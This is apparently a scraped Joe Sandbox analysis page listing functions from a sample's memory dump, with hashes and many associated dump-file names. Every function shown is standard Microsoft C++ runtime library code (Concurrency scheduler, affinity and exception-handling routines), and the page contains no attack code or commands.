Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: ?]&$
API String ID: 0-313912829
Opcode ID: 8445c665b6f1a99ca2811607b02ccb478ee7db6379059b5551f7a5f0148291d9
Instruction ID: 607210ba7cbc0562d5705753ef18099de699276aa8b60a0b2d6b8bccd4b32b87
Opcode Fuzzy Hash: 8445c665b6f1a99ca2811607b02ccb478ee7db6379059b5551f7a5f0148291d9
Instruction Fuzzy Hash: 9151CFB2A05706DBDB15CF58E8807AAB7F2FB48305F28856AD405EB354D7B0A980CF70

Function 00D326D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00D326E3

Part of subcall function 00D324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D32504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00D32704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00D32711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00D3275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00D327E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00D327F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00D32846

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 89e078595e07d8420d54b1370ad8295a566ba3c90ccf01989b13bdaa16a64470
Instruction ID: 6b01e062cd88ccc643bc37a565d9ddcdfc7e87534b991493fa2dcf38cf01a908
Opcode Fuzzy Hash: 89e078595e07d8420d54b1370ad8295a566ba3c90ccf01989b13bdaa16a64470
Instruction Fuzzy Hash: C781BD75D00249ABDF169F94D991BBEBBB2EF55308F084098FC812B252C7728D1ADB71

Function 00D32970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00D32982

Part of subcall function 00D324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00D32504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00D329A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00D329B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00D329FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00D32AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00D32AD8

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: f032291529d65bffcf69aed99896dc1af0366baa5f491899a9ecf4850063b2c7
Instruction ID: cc933b099712922492dbff88848270a15becef56a753d845acb52c95fe96b352
Opcode Fuzzy Hash: f032291529d65bffcf69aed99896dc1af0366baa5f491899a9ecf4850063b2c7
Instruction Fuzzy Hash: 95716630D00249ABDF158FA8D991ABEBBB6EF55304F084098EC816B296C732DD16DB71

Function 00D22832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00D22876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00D228DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00D22913

Part of subcall function 00D207ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00D2080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00D22993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00D229DB

Part of subcall function 00D207C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00D207DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00D229EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00D22A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00D22A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00D22A7E

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: cb67146dccdcd624de5f010bad232ddbd11d51fd385bd3ee2dfa4abe7adbdf4b
Instruction ID: 9d96fd8ef34141d3c3e4f2c8205fd723bf03203d5c4ed52304d0d2890026404f
Opcode Fuzzy Hash: cb67146dccdcd624de5f010bad232ddbd11d51fd385bd3ee2dfa4abe7adbdf4b
Instruction Fuzzy Hash: 8781AF31A00626ABCB18DF6CF89167DBBB1FB68308F58402DE485E7745D770A981CBB0

Function 00D269DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00D26A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00D26A51
List.LIBCONCRT ref: 00D26A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00D26A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00D26AB9
List.LIBCONCRT ref: 00D26AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00D26B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00D26B20
List.LIBCONCRT ref: 00D26B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00D26B68

Part of subcall function 00D25EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00D25EF7
Part of subcall function 00D25EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00D25F09

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: e2f55bf9bce2d8a5e71ee356aad02580e9d85058022bb6f9a0ac78d2f5a38a83
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 8D514171A00229ABDB04DF64D595FEDB3A8FF18308F1540A9E915AB281DB70EE45CBB0

Function 00D352A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00D353A0
type_info::operator==.LIBVCRUNTIME ref: 00D353C7
___TypeMatch.LIBVCRUNTIME ref: 00D354D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00D355AE
CallUnexpected.LIBVCRUNTIME ref: 00D35650

Strings

csm, xrefs: 00D353FE
csm, xrefs: 00D352E0
csm, xrefs: 00D3534D

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
